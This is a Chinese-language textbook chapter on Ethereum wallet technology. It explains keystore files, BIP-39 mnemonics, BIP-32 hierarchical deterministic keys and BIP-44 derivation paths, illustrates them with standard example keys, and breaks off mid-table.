钱包技术总览\n\n在这个部分我们会总结用于构建用户友好、安全以及灵活的以太坊钱包所需要的各种技术。\n\n关于以太坊有一个最常见的误解就是大部分人认为以太坊钱包包含以太坊和其他代币。而实际上，钱包只包含密钥。以太坊和其他代币都被记录在以太坊的区块链中。用户通过使用他们钱包中的密钥对钱包签名来控制代币。所以从某种意义上讲，以太坊钱包就是一个**钥匙串**。\n\n> **提示**\n> \n> 以太坊钱包只包含密钥，而没有以太坊和代币。每一个用户的钱包都包含密钥。钱包就是包含公私钥对的钥匙串。用户使用密钥对交易签名，以此来证明这些以太坊就是属于他们的。而真正的以太坊则存储在区块链上。\n\n目前主要有两种类型的钱包，他们的区别就是所包含的密钥之间是否有关联。\n\n第一种类型叫做**非确定性钱包**，它的每一个密钥都是通过一个随机数独立生成的。密钥之间相互没有关联。这种钱包也叫做 JBOK 钱包（来自 \"Just a Bunch Of Keys\"）。\n\n第二种钱包叫做**确定性钱包**，它所有的密钥都来源于一个单独的叫做**种子**的主密钥。在这个钱包中所有的密钥都相互关联，并且任何拥有原始种子的人都可以将这些密钥再生成一遍。这种确定性钱包会使用很多不同的密钥派生方法。而其中使用最普遍的则是一种类似树形结构的方法，这样的钱包被称为**分层确定性**或者 HD 钱包。\n\n分层确定性钱包是通过一个种子来初始化的。而为了便于使用，种子会被编码成英语单词（或者其他语言的单词），这些单词被称为**助记词**。\n\n下面的章节将会在更高级的层面介绍这些技术。\n\n### 非确定性（随机）钱包\n\n在第一个的以太坊钱包（以太坊预售时发布的）中，钱包文件会存储一个单独随机生成的私钥。然而这种钱包之后被确定性钱包取代了，因为这种钱包无法管理、备份以及导入私钥。但是随机密钥的缺点是，如果你生成了很多那么你就要把它们全部拷贝下来。每一个密钥都要备份，否则一旦钱包丢失，那些密钥对应的资产也会丢失。进一步讲，以太坊地址的隐私性会因为相互之间关联的多笔交易和地址的重复使用而大大降低。一个类型-0 的非确定性钱包并不是一个好的选择，尤其是当你为了避免地址的重复使用而不得不管理多个密钥并不断频繁的备份它们时。\n\n很多以太坊客户端（包括 go-ethereum 和 geth）都会使用一个**钥匙串**文件，这是一个 JSON 编码的文件，而且它还包含一个单独的（随机生成的）私钥，为了安全性，这个私钥会通过一个密码进行加密。这个 JSON 文件就像下面这样：\n\n    {\n        \"address\": \"001d3f1ef827552ae1114027bd3ecf1f086ba0f9\",\n        \"crypto\": {\n            \"cipher\": \"aes-128-ctr\",\n            \"ciphertext\": \"233a9f4d236ed0c13394b504b6da5df02587c8bf1ad8946f6f2b58f055507ece\",\n            \"cipherparams\": {\n                \"iv\": \"d10c6ec5bae81b6cb9144de81037fa15\"\n            },\n            \"kdf\": \"scrypt\",\n            \"kdfparams\": {\n                \"dklen\": 32,\n                \"n\": 262144,\n                \"p\": 1,\n                \"r\": 8,\n                \"salt\": \"99d37a47c7c9429c66976f643f386a61b78b97f3246adca89abe4245d2788407\"\n            },\n            \"mac\": \"594c8df1c8ee0ded8255a50caf07e8c12061fd859f4b7c76ab704b17c957e842\"\n        },\n        \"id\": \"4fcb2ba4-ccdb-424f-89d5-26cce304bf9c\",\n        \"version\": 3\n    }\n\n钥匙串格式使用的是**Key Derivation Function (KDF)**，同时还被成为密码拉伸算法，这个算法可以防止暴力破解、字典攻击以及彩虹表攻击。简单来说就是私钥并不是直接通过密码简单的进行加密的。相反，这个密码是通过不断的重复哈希**拉伸**过的。这个哈希函数会重复 262144 轮，这个数字就是钥匙串 JSON 文件中的 crypto.kdfparams.n 这个参数指定的。一个攻击者试图通过暴力破解的手段来破解密码的话，那么他需要为每一个可能的密码执行 262144 轮哈希，这样对于一个足够复杂和长度的密码来说被破解几乎是不可能的。\n\n这里还有一些软件库可以读取和写入钥匙串格式，例如 JavaScript 的库 keythereum：\n\n<https://github.com/ethereumjs/keythereum>\n\n> **提示**\n> \n> 除了一些简单的测试之外，我们是不推荐使用非确定性钱包的。我们推荐使用的是拥有**助记词**种子备份功能的基于行业标准的**HD 钱包**。\n\n### 确定性钱包（种子）钱包\n\n确定性或者说「种子」钱包是指那些所有的私钥都是通过一个普通的种子使用一个单向哈希函数延伸而来的钱包。这个种子是结合一些其他的数据而随机生成的数字，例如利用一个索引数字或者「链码」（查看[HD 钱包(BIP-32/BIP-44)](#hd_钱包)来派生出私钥。在一个确定性钱包中，一个种子就足够恢复出所有派生的密钥，因此只需要在创建的时候做一次备份就可以了。同时，这个种子对于钱包来说也是可以导入导出的，可以让所有用户的密钥在各种不同的钱包之间进行简单的迁移。\n\n### HD 钱包 (BIP-32/BIP-44)\n\n确定性钱包的开发就是为了可以简单的从一个「种子」派生出很多个密钥。而这种确定性钱包最高级的实现就是由比特币的 BIP-32 标准定义的 HD 钱包。HD 钱包包含的密钥来源于一个树形的结构，例如一个父密钥可以派生出一系列子密钥，每一个子密钥又可以派生出一系列孙子密钥，不停的循环往复，没有尽头。这个树形结构的示意图如下：\n\n![HD wallet: a tree of keys generated from a single\nseed](https://raw.githubusercontent.com/ethereumbook/ethereumbook/develop/images/hd_wallet.png)\n\nHD 钱包相对于随机的（非确定性的）密钥有两个主要的优势。一，树形结构可以表达额外的组织意义，例如当一个子密钥特定的分支用来接收转入支付而另一个不同的分支可以接收转出支付的改变。密钥的分支也可以在一些共同的设置中被使用，例如可以分配不同的分支给部门、子公司、特定的函数或者不同的账单类别。\n\n第二个优势就是用户可以使用 HD 钱包在不利用相关私钥的情况下创建一系列公钥。这样 HD 钱包就可以用来做一个安全的服务或者是一个仅仅用来观察和接收的服务，而钱包本身却没有私钥，所以它也无法花费资金。\n\n### 种子和助记词 (BIP-39)\n\nHD 钱包对于管理多个密钥和地址来说是一个很强力的机制。如果再结合一个从一系列英语单词（或者其他语言的单词）中创建种子的标准化方法的话，那么通过钱包进行抄写、导出和导入都变得更加简单易用。这就是大家所熟知的由标准 BIP-39 定义的**助记词**。今天，很多以太坊钱包（还有其他的数字货币钱包）都在使用这个标准来导入导出种子，并使用共同的助记词来进行备份和恢复。\n\n让我们来从实践的角度看一下。下面哪个种子在抄写、纸上记录以及阅读障碍这几个方面更优秀呢？\n\n**一个 16 进制编码的确定性钱包种子**\n\n    FCCF1AB3329FD5DA3DA9577511F8F137\n\n**一个由 12 个单词组成的助记词的钱包种子**\n\n    wolf juice proud gown wool unfair\n    wall cliff insect more detail hub\n\n### 钱包最佳实践\n\n随着数字货币钱包技术的逐渐成熟，也慢慢形成了共同的行业标准，使得钱包在交互性、易用性、安全性和灵活性等方面大幅度提高。这些标准同时也使得钱包可以仅仅从一个单独助记词就为各种不同的数字货币派生出不同的密钥。这些共同的标准就是下面这些：\n\n-   基于 BIP-39 的助记词\n\n-   基于 BIP-32 的 HD 钱包\n\n-   基于 BIP-43 的多用途 HD 钱包结构\n\n-   基于 BIP-44 的多货币多账户钱包\n\n这些标准或许会改变，也或许会被未来的开发者废弃，但是现在它们组成的这一组连锁技术俨然已经成为了大多数数字货币的实际上的钱包标准。\n\n这些标准已经被大部分的软件和硬件钱包所采用，使得这些钱包之间可以相互通用。一个用户可以从这些钱包中的任意一个导出助记词，然后导入到另一个钱包中，并恢复所以的交易、密钥和地址。\n\n很多软件钱包都支持这种标准，例如（按字母 排序）Jaxx, MetaMask, MyEtherWallet (MEW)。硬件钱包则有 Keepkey, Ledger, and Trezor。\n\n下面的章节会详细讲解这些技术。\n\n> **提示**\n>\n> 如果你要实现一个以太坊钱包，他应该是一个 HD 钱包，种子会被编码成助记词以供备份，BIP-32、BIP-39、BIP-43、和 BIP-44 这些标准会在下面的章节中详细说明。\n\n### 助记词 (BIP-39)\n\n助记词就是代表一个随机数的单词序列，这个助记词会作为种子派生出一个确定性钱包。这个序列的单词能够再次创建种子、钱包和所有派生出的密钥。一个实现了确定性钱包助记词功能的应用将会向在第一次创建钱包的时候向用户展示一组长度为 12 到 24 的单词序列。这个序列就是钱包的备份，它可以在任何兼容的钱包上实现恢复和重建所有的密钥。助记词可以让用户更简单的备份钱包，因为相比于一组随机数助记词可读性更好，抄写的正确率也更高。\n\n> **提示**\n> \n> 助记词常常与「大脑钱包」想混淆。但是它们并不是一回事。而其中最主要的区别在于大脑钱包是由用户自己选择的单词组成的，而助记词则是钱包代表用户随机创建的。这个重要的区别使得助记词更加的安全，因为人类随机性的来源少的可怜。\n \n助记词编码是在 BIP-39 中定义的。注意 BIP-39 只是助记词编码的一个实现。还有很多不同的标准，比特币钱包 Electrum 就是在 BIP-39 之前**使用了一组不同的单词**。BIP-39 这个标准是由硬件钱包 Trezor 背后的公司提出来的，而且还兼容 Electrum 的实现。但是，BIP-39 现在已经取得了广泛的行业支持，并且兼容十几个相互操作的实现，所以 BIP-39 应该就是现在的行业标准。并且，BIP-39 可以用来生成支持以太坊的多货币钱包，而 Electrum 的种子并不支持。\n\nBIP-39 标准定义了助记词编码和种子的生成过程，也就是接下来的九个步骤。为了表达的更清楚，整个过程分成了两个部分：第一步到第六步在[生成助记词](#generating_mnemonic_words)，第七步到第九步在[助记词到种子](#mnemonic_to_seed)。\n\n#### 生成助记词\n\n助记词是钱包使用 BIP-39 中定义的标准化过程自动生成的。钱包起始于一个熵的源头，然后添加一个校验和并将熵映射到一个单词数组中。\n\n1.  创建一个 128 位到 256 位的随机序列（熵）\n\n2.  通过取 SHA256 的前（熵长度除以 32）位来创建这个随机序列的校验和。\n\n3.  将校验和添加到随机序列的末尾。\n\n4.  将序列分成几个 11 位的部分。\n\n5.  从预定义的 2048 个单词字典中将每一个 11 位的值映射到一个单词上面。\n\n6.  助记词编码就是一系列单词。\n\n[生成熵并编码成助记词](#generating_entropy_and_encoding)将会展示出熵是如何生成助记词的。\n\n![Generating entropy and encoding as mnemonicwords](https://raw.githubusercontent.com/ethereumbook/ethereumbook/develop/images/bip39-part1.png)\n\n[助记词编码：熵和单词长度](#table_bip39_entropy) 展示出了熵数据的大小和单词中助记词长度的关系。\n\n<table>\n<caption>助记词编码: 熵（entropy）和单词（word）长度</caption>\n<colgroup>\n<col width=\"25%\" />\n<col width=\"25%\" />\n<col width=\"25%\" />\n<col width=\"25%\" />\n</colgroup>\n<thead>\n<tr class=\"header\">\n<th align=\"left\">Entropy (bits)</th>\n<th align=\"left\">Checksum (bits)</th>\n<th align=\"left\">Entropy <strong>+</strong> checksum (bits)</th>\n<th align=\"left\">Mnemonic length (words)</th>\n</tr>\n</thead>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p>128</p></td>\n<td align=\"left\"><p>4</p></td>\n<td align=\"left\"><p>132</p></td>\n<td align=\"left\"><p>12</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p>160</p></td>\n<td align=\"left\"><p>5</p></td>\n<td align=\"left\"><p>165</p></td>\n<td align=\"left\"><p>15</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p>192</p></td>\n<td align=\"left\"><p>6</p></td>\n<td align=\"left\"><p>198</p></td>\n<td align=\"left\"><p>18</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p>224</p></td>\n<td align=\"left\"><p>7</p></td>\n<td align=\"left\"><p>231</p></td>\n<td align=\"left\"><p>21</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p>256</p></td>\n<td align=\"left\"><p>8</p></td>\n<td align=\"left\"><p>264</p></td>\n<td align=\"left\"><p>24</p></td>\n</tr>\n</tbody>\n</table>\n\n#### 从助记词到种子\n\n助记词代表着长度为 128 到 256 位的熵。这个熵会通过密钥拉伸函数 PBKDF2 生成一个更长的（512 位）种子。这个种子再构建一个确定性钱包并派生出它的密钥。\n\n密钥拉伸函数需要两个参数：助记词和**盐**。盐的目的是为了让暴力破解构建查询表的难度提高。在标准 BIP-39 中，盐还有另外一个目的，那就是密码可以作为一个额外的安全因子来保护种子，这部分会在[BIP-39 中的可选密码](#mnemonic_passphrase)中详细讲述。\n\n第七步到第九步的过程：\n\n7.  密钥拉伸函数 PBKDF2 的第一个参数第六步中生成的助记词。\n\n8.  密钥拉伸函数 PBKDF2 的第二个参数就是**盐**。这个盐由字符串常量 \"mnemonic\" 和一个额外的用户提供的密码字符串拼接构成。\n\n9.  PBKDF2 使用 HMAC-SHA512 算法进行了 2048 轮哈希运算对助记词和盐进行拉伸，生成一个 512 位的值作为最后的输出。这个 512 位的值就是种子。\n\n[fig\\_5\\_7] 展示出了一个助记词是如何生成种子的。\n\n![From mnemonic to seed](https://raw.githubusercontent.com/ethereumbook/ethereumbook/develop/images/bip39-part2.png)\n\n> **提示**\n>\n> 密钥拉伸函数以及它的 2048 轮哈希从某种程度上讲对于暴力破解助记词和密码是一个有效的保护。会让其以昂贵的代价（在计算资源上）不停的尝试成千上万种密码和助记词的组合，而这些组合的数量则犹如汪洋大海(2<sup>512</sup>)。\n\n\n下面的表格分别展示了 \\#mnemonic\\_128\\_no\\_pass、\\#mnemonic\\_128\\_w\\_pass 和 \\#mnemonic\\_256\\_no\\_pass 这几个类型的助记词和他们产生的种子（没有密码）的例子。\n\n<table>\n<caption>128 位（bit）熵（entropy）的助记词编码（mnemonic code），无密码生成的种子（seed）</caption>\n<colgroup>\n<col width=\"50%\" />\n<col width=\"50%\" />\n</colgroup>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Entropy input (128 bits)</strong></strong></p></td>\n<td align=\"left\"><p>0c1e24e5917779d297e14d45f14e1a1a</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Mnemonic (12 words)</strong></strong></p></td>\n<td align=\"left\"><p>army van defense carry jealous true garbage claim echo media make crunch</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Passphrase</strong></strong></p></td>\n<td align=\"left\"><p>(none)</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Seed (512 bits)</strong></strong></p></td>\n<td align=\"left\"><p>5b56c417303faa3fcba7e57400e120a0ca83ec5a4fc9ffba757fbe63fbd77a89a1a3be4c67196f57c39 a88b76373733891bfaba16ed27a813ceed498804c0570</p></td>\n</tr>\n</tbody>\n</table>\n\n<table>\n<caption>128 位（bit）熵（entropy）的助记词编码（mnemonic code），有密码生成的种子（seed）</caption>\n<colgroup>\n<col width=\"50%\" />\n<col width=\"50%\" />\n</colgroup>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Entropy input (128 bits)</strong></strong></p></td>\n<td align=\"left\"><p>0c1e24e5917779d297e14d45f14e1a1a</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Mnemonic (12 words)</strong></strong></p></td>\n<td align=\"left\"><p>army van defense carry jealous true garbage claim echo media make crunch</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Passphrase</strong></strong></p></td>\n<td align=\"left\"><p>SuperDuperSecret</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Seed (512 bits)</strong></strong></p></td>\n<td align=\"left\"><p>3b5df16df2157104cfdd22830162a5e170c0161653e3afe6c88defeefb0818c793dbb28ab3ab091897d0 715861dc8a18358f80b79d49acf64142ae57037d1d54</p></td>\n</tr>\n</tbody>\n</table>\n\n<table>\n<caption>256 位（bit）熵（entropy）的助记词编码（mnemonic code），无密码生成的种子（seed）</caption>\n<colgroup>\n<col width=\"50%\" />\n<col width=\"50%\" />\n</colgroup>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Entropy input (256 bits)</strong></strong></p></td>\n<td align=\"left\"><p>2041546864449caff939d32d574753fe684d3c947c3346713dd8423e74abcf8c</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Mnemonic (24 words)</strong></strong></p></td>\n<td align=\"left\"><p>cake apple borrow silk endorse fitness top denial coil riot stay wolf luggage oxygen faint major edit measure invite love trap field dilemma oblige</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p><strong><strong>Passphrase</strong></strong></p></td>\n<td align=\"left\"><p>(none)</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p><strong><strong>Seed (512 bits)</strong></strong></p></td>\n<td align=\"left\"><p>3269bce2674acbd188d4f120072b13b088a0ecf87c6e4cae41657a0bb78f5315b33b3a04356e53d062e5 5f1e0deaa082df8d487381379df848a6ad7e98798404</p></td>\n</tr>\n</tbody>\n</table>\n\n#### BIP-39 中的可选密码\n\nBIP-39 标准允许用户在生成种子的时候使用可选密码。如果没有使用密码，那么助记词就会被一个由常量字符串 \"mnemonic\" 组成的盐拉伸，然后由给定的助记词产生一个特定的 512 位种子。如果使用了密码，则拉伸函数在使用同一个助记词的情况下会产生一个**不同的**种子。实际上，给定一个助记词，每一个可能的密码都会生成不同的种子。并且基本上没有任何「错误」的 密码。所有的密码都是可用的并且所有的密码都可以生成不同种子，这些不同的助记词会形成一组数量巨大的为初始化的钱包。这些可能的钱包数量是如此之大 (2<sup>512</sup>)，以至于实际情况中暴力破解和意外猜对的可能性几乎为零，只要密码拥有足够的复杂度和长度。\n\n> **提示**\n> \n> 在标准 BIP-39 中不存在「错误的」密码。每个密码都会生成一个钱包，如果不是之前使用的密码的话那就是一个新的钱包。\n\n可选密码会产生两个重要的特性：\n\n-   一个需要记忆的第二个因子可以防止助记词的备份被窃取。\n\n-   选择密码的这些貌似拥有可信拒绝能力或者说是「监禁的钱包」使得那些小额资金的钱包经常将攻击者的注意力从那些「真正的」大额资金钱包中分散出来。\n\n但是，需要注意的一点是使用密码会面临密码丢失的风险。\n\n-   如果钱包的主人缺乏行动能力或者去世了，那么就没人知道密码了，也没人知道种子是什么，那么钱包中储存的所有资金就全部丢失了。\n\n-   相反，如果钱包的主人在与种子同样的地方备份了密码，那么它就失去了第二个因素的目的。\n\n虽然密码非常有用，但是也应该结合小心的计划备份和恢复的过程来使用，因为要考虑到钱包主人生还的可能性并可以允许他们的家人来恢复数字货币的资产。\n\n\n#### 助记词的工作\n\nBIP-39 在很多不同的编程语言中都有实现的库：\n\n[python-mnemonic](https://github.com/trezor/python-mnemonic)  \n参考了 SatoshiLabs 团队在 BIP-39 中提议的 Python 版本\n\n\n[Consensys/eth-lightwallet](https://github.com/ConsenSys/eth-lightwallet)  \n用于节点和浏览器（基于 BIP-39）的轻量级 JS 以太坊钱包\n\n[npm/bip39](https://www.npmjs.com/package/bip39)  \n比特币 BIP39 的 JavaScript 实现：用于生成确定性密钥的助记词编码\n\n还有一个在单独的网页中实现的 BIP-39 生成器，这个网页在测试和实验中非常有用。[BIP-39 生成器](#a_bip39_generator_as_a_standalone_web_page)展示了一个可以生成助记词、种子以及拓展的私钥的单独的网页。\n\n![A BIP-39 generator as a standalone web page](https://raw.githubusercontent.com/ethereumbook/ethereumbook/develop/images/bip39_web.png)\n\n网页(<https://iancoleman.github.io/bip39/>)可以在浏览器中离线使用（在线当然也可以）。\n\n### 通过种子创建一个 HD 钱包\n\nHD 钱包是通过一个**根种子**来创建的，这个根种子一般是 128、256 或者 512 位的随机数。通常情况下，这个种子是通过一个**助记词**来生成的。\n\nHD 钱包中的每一个密钥都是派生自这个根种子，这样就使得通过这个种子在其他兼容性钱包中重建整个 HD 钱包成为了可能。同时还使得备份、恢复、导出以及导入包含成千上万个密钥的钱包变的非常简单，仅仅通过转移从根种子派生出的助记词就可以了。\n\n\\[\\[bip32\\_bip43/44\\]\\] ==== 分层确定性钱包 (BIP-32) 和路径 (BIP-43/44)\n\n大多数 HD 钱包都遵循 BIP-32 标准，同时 BIP-32 也是确定密钥生成器的实际上的行业标准。详细的说明可以查看下面的链接：\n\n<https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki>\n\n在这里我们不会讨论 BIP-32，我们只需要理解钱包中使用它的部分就可以了。在其他一些软件库中还有很多关于 BIP-32 彼此协作的实现。\n\n[Consensys/eth-lightwallet](https://github.com/ConsenSys/eth-lightwallet)  \n用于节点和浏览器（基于 BIP-39）的轻量级 JS 以太坊钱包\n\n这里还有一个标准 BIP-32 的网页版的生成器，对于测试和实验都非常有用。\n\n<http://bip32.org/>\n\n> **提示**\n> \n> 这个单独的 BIP-32 生成器不是一个 HTTPS 的站点。就是为了告诉你使用这个工具不是安全的。只是用来做测试的。你不应该在生产环境中（真实的资金）使用这个网页生成的密钥。\n  \n\n#### 拓展公钥和私钥\n\n在 BIP-32 的术语中，一个父密钥可以拓展的生成「儿子」，这个儿子就是**拓展密钥**。如果它是一个私钥，那么它就是一个**拓展私钥**，并通过前缀 **xprv** 来区分：\n\n    xprv9s21ZrQH143K2JF8RafpqtKiTbsbaxEeUaMnNHsm5o6wCW3z8ySyH4UxFVSfZ8n7ESu7fgir8imbZKLYVBxFPND1pniTZ81vKfd45EHKX73\n\n一个**拓展公钥**通过前缀 **xpub** 来区分：\n\n    xpub661MyMwAqRbcEnKbXcCqD2GT1di5zQxVqoHPAgHNe8dv5JP8gWmDproS6kFHJnLZd23tWevhdn4urGJ6b264DfTGKr8zjmYDjyDTi9U7iyT\n\nHD 钱包中一个非常有用的角色就是从父公钥派生出子公钥，**不包含**私钥。这会给我们提供两种方法来派生子公钥：从子私钥或者直接从父公钥来派生。\n\n一个拓展公钥可以在 HD 钱包的结构中派生出所有的**公钥**（也只能是公钥）。\n\n无论什么情况只要部署的服务和应用有一份拓展公钥并且没有私钥，那么这个快捷方式就可以创建非常安全的公钥。这种部署可以生成无穷个公钥和以太坊地址，但是却不能花费任何发送到这些地址的资金。同时，在另外一个更安全的服务器上，拓展私钥可以派生出所有相关的私钥用来给交易签名，并花费资金。\n\n利用这种解决方案的一个常见的应用就是在一个 web 服务器上安装一个拓展公钥，来为电子商务应用服务。这个网页服务器可以使用公钥派生函数为每一笔交易（例如客户的购物车）创造出一个全新的以太坊地址。这个网页服务器没有任何私钥所以盗贼也无法窃取。不使用 HD 钱包的情况下，想做到这个程度唯一的方法就是在一个分割的安全服务器上生成上千个以太坊地址然后在电子商务服务器上预加载他们。这个方法低效笨重，并且需要经常的维护以确保电子商务服务器不会泄露密钥。\n\n还有一个常见的应用就是冷存储和硬件钱包。在这种场景下，拓展私钥可以存储在硬件钱包中，但是拓展公钥可以放在线上。用户可以按照他们的意愿创建接收的地址，私钥则会离线安全的保存。想花掉里面的资金的话，用户可以在离线签名的以太坊客户端或者支持交易签名的硬件钱包上使用拓展私钥。\n\n#### 硬化密钥派生\n\n从 xpub 中派生出一个公钥分支的能力时很有用的，但同时也是具有风险的。知道 xpub 并不意味着知道子密钥。然而，因为 xpub 包含链码，所以如果一个子密钥被别人知道或者暴露了的话，那么它就可以和链码一起派生出所有其他的子密钥。一个单独泄露的子密钥和一个父链码一起可以暴露出所有的子私钥。而更糟糕的是，子私钥和父链码一起还可以推断出父私钥。\n\n为了避免这个风险，HD 钱包使用了另外一种叫做**硬化派生**的派生函数，这个函数可以「破坏」父公钥和子链码的联系。这种硬化派生函数是使用父私钥来派生出子链码的，而不是父公钥。这样会在父或子序列中创造出一个「防火墙」，而这个防火墙并不会威胁到父或者子私钥的安全。\n\n简单的来说就是，如果不想承受泄露你自己链码风险，并且还想要方便的使用 xpub 来派生出公钥分支，那么你应该通过硬化父辈来派生它，而不是一个正常的父辈。这其中的最佳实践就是，为了防止威胁到主要的密钥，主要密钥的 level-1 子辈总是通过硬化派生来派生。\n\n#### 正常派生和硬化派生的指数\n\nBIP-32 中的派生函数使用的是一个 32 位整型的指数。为了方便的区分出正常派生函数和硬化派生函数生成的密钥，这个指数分成了两个区间。0 到 2<sup>31</sup>–1 (0x0 to 0x7FFFFFFF) **只**用来表示正常的派生。2<sup>31</sup> 到 2<sup>32</sup>–1 (0x80000000 to 0xFFFFFFFF) **只**用来表示硬化派生。因此，如果指数小于 2<sup>31</sup>，则子辈是正常的，如果指数大于等于 2<sup>31</sup>，那么子辈就是硬化的。\n\n为了让指数的易读性和显示性更好，硬化子辈的指数是从零开始显示的（有一个素数符合）。第一个正常子密钥则显示为 0，这样第一个硬化子辈（指数为 0x80000000）就会显示为 0&\\#x27;。而第二个硬化密钥指数从 0x80000001 开始，并且显示为1&\\#x27;，以此类推。当你看到一个 HD 钱包的指数为 i&\\#x27; 时，就意味着 2<sup>31</sup>+i。\n\n#### HD 钱包密钥标识符（路径）\n\n一个 HD 钱包中的密钥是通过「路径」命名规则来标识的，对于树的每一个层级都通过斜杠 (/) 这个字符来分隔(查看[HD 钱包路径示例](#hd_path_table))。 从主私钥派生出的私钥都以 \"m.\" 开头。从主公钥派生出的公钥以 \"M.\" 开头。因此主私钥的第一个子私钥就是 m/0。主公钥的第一个子公钥就是 M/0。第一个子辈的第二个孙子就是 m/0/1，以此类推。\n\n一个密钥的「祖先」是从右向左读取的，直到派生出它本身的主密钥为止。举个例子，标识符 m/x/y/z 就是 m/x/y 的第 z 个子密钥、m/x 的第 y 个子密钥、m 的第 x 个子密钥。\n\n<table>\n<caption>HD 钱包路径示例</caption>\n<colgroup>\n<col width=\"50%\" />\n<col width=\"50%\" />\n</colgroup>\n<thead>\n<tr class=\"header\">\n<th align=\"left\">HD path</th>\n<th align=\"left\">Key described</th>\n</tr>\n</thead>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p>m/0</p></td>\n<td align=\"left\"><p>主私钥 m 的第一个（0）儿子私钥</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p>m/0/0</p></td>\n<td align=\"left\"><p>第一个子辈（m/0）的第一个孙子私钥</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p>m/0'/0</p></td>\n<td align=\"left\"><p>第一个<em>硬化</em>子辈 (m/0') 的第一个标准孙子</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p>m/1/0</p></td>\n<td align=\"left\"><p>第二个子辈（m/1）的第一个孙子私钥</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p>M/23/17/0/0</p></td>\n<td align=\"left\"><p>第 24 个子辈的第 18 个孙子辈的第一个曾孙辈的第一个玄孙的公钥</p></td>\n</tr>\n</tbody>\n</table>\n\n#### HD 钱包的树形结构指南\n\nHD 钱包的树形结构提供了巨大的灵活性。每一个父拓展密钥都可以拥有 40 亿个子辈：20 亿个普通子辈和 20 亿个硬化子辈。每一个子辈都有另外 40 亿个子辈，以此类推。只要你想，这个树形结构就可以一代一代的无限延伸下去。但是这种灵活性又使得对这个无限的树形结构操作变的复杂。尤其是在各种实现之间转移 HD 钱包变的尤为困难，因为这个内部的结构从分支到子分支的可能性是无限的。\n\n现在的两种 BIP 都是通过对 HD 钱包的树形结构创建一些标准来解决这些复杂性的。BIP-43 提议将第一个硬化子指数作为可以表示树形结构「用途」的特殊标识符。而 BIP-43 则认为，HD 钱包应该只使用一个树形结构 level-1 的分支，并通过定义它的用途来让指数来标识结构以及剩余数的命名空间。例如，一个 HD 钱包只使用分支 m/i&\\#x27;/，并打算使用它来指明一个特殊的用途，而这个用途就是用指数 \"i\" 来标识的。\n\n再说明一下这个细则，BIP-44 提议的多货币多账户的结构就是 BIP-43 的「用途」数字 44'。所有的 HD 钱包都遵循 BIP-44 结构，这个结构就是实际中使用树形结构一个分支 m/44'/ 所标识的结构。\n\nBIP-44 还指明了五个预定义的树层级：\n\n    m / purpose' / coin_type' / account' / change / address_index\n\n第一个层级 \"purpose\" 一直等于 44'。第二个层级 \"coin\\_type\" 指明了数字货币的类型，对于多货币的 HD 钱包来每一个种货币都在第二层级下有他自己的子树。这里有几个在标准文档中定义的货币，叫作 SLIP0044：\n\n<https://github.com/satoshilabs/slips/blob/master/slip-0044.md>\n\n举个例子：以太坊是 m/44&\\#x27;/60&\\#x27;，以太经典是 m/44&\\#x27;/61&\\#x27;，比特币是 m/44&\\#x27;/0&\\#x27;，所有这些货币的测试网络都是 m/44&\\#x27;/1&\\#x27;。\n\n第三个层级是 \"account\"，它允许用户把他们的钱包再分成几个逻辑子账户，用于会计或者组织的目的。举例来说，一个 HD 钱包可以包含两个以太坊「账户」：m/44&\\#x27;/60&\\#x27;/0&\\#x27; 和 m/44&\\#x27;/60&\\#x27;/1&\\#x27;。而每个帐户都是它自己子树的根。\n\n因为 BIP-44 一开始是为比特币创造的，所以它包含的 \"quirk\" 和以太坊一点关系都没有。路径的第四层级是 \"change\"，一个 HD 钱包有两个子树，一个用来创建接收地址，一个用来创建改变地址。而以太坊中只有「接收」地址，并不需要改变地址。注意，由于上个层级使用了硬化派生，所以这个层级就是普通派生。这是为了让这个层级的树可以在非安全环境下导出可以使用的公钥。可用的地址由 HD 钱包派生出来作为第四层级的子辈，然后形成树第五层级的 \"address\\_index\"。举例来说就是，以太坊的第三个接收地址在主账户中的支付将会是 M/44&\\#x27;/60&\\#x27;/0&\\#x27;/0/2。[BIP-44 HD 钱包的结构示例](#bip44_path_examples)：\n\n<table>\n<caption>BIP-44 HD 钱包结构示例</caption>\n<colgroup>\n<col width=\"50%\" />\n<col width=\"50%\" />\n</colgroup>\n<thead>\n<tr class=\"header\">\n<th align=\"left\">HD 路径</th>\n<th align=\"left\">密钥描述</th>\n</tr>\n</thead>\n<tbody>\n<tr class=\"odd\">\n<td align=\"left\"><p>M/44&amp;#x27;/60&amp;#x27;/0&amp;#x27;/0/2</p></td>\n<td align=\"left\"><p>主以太坊账户的第三个收到的公钥</p></td>\n</tr>\n<tr class=\"even\">\n<td align=\"left\"><p>M/44&amp;#x27;/0&amp;#x27;/3&amp;#x27;/1/14</p></td>\n<td align=\"left\"><p>第四个比特币账户的第 15 个可变地址的公钥</p></td>\n</tr>\n<tr class=\"odd\">\n<td align=\"left\"><p>m/44&amp;#x27;/2&amp;#x27;/0&amp;#x27;/0/1</p></td>\n<td 